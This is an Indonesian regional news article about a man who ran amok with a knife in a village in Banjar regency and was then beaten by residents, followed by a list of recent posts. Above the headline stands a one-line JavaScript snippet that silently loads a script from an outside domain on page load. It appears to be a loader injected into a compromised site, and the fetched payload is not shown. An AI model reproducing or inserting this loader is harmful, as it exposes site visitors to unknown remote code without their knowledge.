(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mengamuk di Kampung Orang, Misran Tak Berdaya Dikeroyok Warga


MARTAPURA, Gara-gara mengamuk di kampung orang, Misran—warga Desa Tatah Layung, Kecamatan Mandastana, Kabupaten Batola, pun menjadi korban pengeroyokan warga. Aksi bak koboi itupun berlangsung tragis! Dia mengalami sejumlah luka bacok tragis di tubuhnya.

Membawa sebilah pisau, Misran mengamuk di Desa Lok Baintan Dalam, Kecamatan Sungai Tabuk, Kabupaten Banjar, Sabtu (2/6) pukul 19.00 Wita.  Kedatangan pria tersebut sempat membuat geger warga desa di sekitar kawasan Pasar Terapung Lok Baintan, Sungai Tabuk.

Dari keterangan yang berhasil dikumpulkan Polsek Sungai Tabuk dari saksi Anang Arianto (45), Darkani (65) dan Ali (44), yang ketiganya warga Desa Lok Baintan Dalam RT 02, mengatakan Misran merupakan pelaku penyerangan yang akhirnya menjadi korban.

Misran awalnya mengamuk di rumah Rudi, warga setempat dengan membawa pisau terhunus. Mengetahui ribut -ribut tersebut, Anang Arianto bersama Darkani mendatangi korban dan menasihatinya agar tidak mengamuk dan membuat keributan. Teguran itu, tak membuat Misran menjadi tenang. Malah, ia seperti kalap dan terus mengamuk. Bahkan, berusaha menusuk kedua warga desa tersebut yang ingin melerai.

“Menurut Darkani, korban juga menanyakan rumah Guru Hadri dan disampaikan bahwa yang bersangkutan ada di rumah. Kemudian, Misran langsung menuju rumah Guru Hadri, namun karena tidak bertemu  dia kembali lagi dan mengamuk di rumah Darkani dan bahkan mau menusuk warga yang ada,” ujar Kapolsek Sungai Tabuk AKP Idit Aditya, melalui Kanit Reskrim Ipda Andi Kohar, Minggu (3/6).

Selanjutnya, menurut keterangan Darkani yang juga ketua RT setempat, karena korban tetap mengamuk, maka akhirnya dikeroyok oleh warga. Hingga mengalami luka di bagian kanan tangan yang terus mengalami pendarahan. “Korban kami larikan ke RSUD Ulin Banjarmasin guna menjalani perawatan. Untuk pelaku pengeroyokan masih kami lakukan pendalaman dan penggalian keterangan para saksi,” pungkas Ipda Andi Kohar.(hendera)

Reporter: Hendera
Editor: Cell

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

10 menit ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

2 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

3 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

3 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

7 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

7 jam ago

This website uses cookies.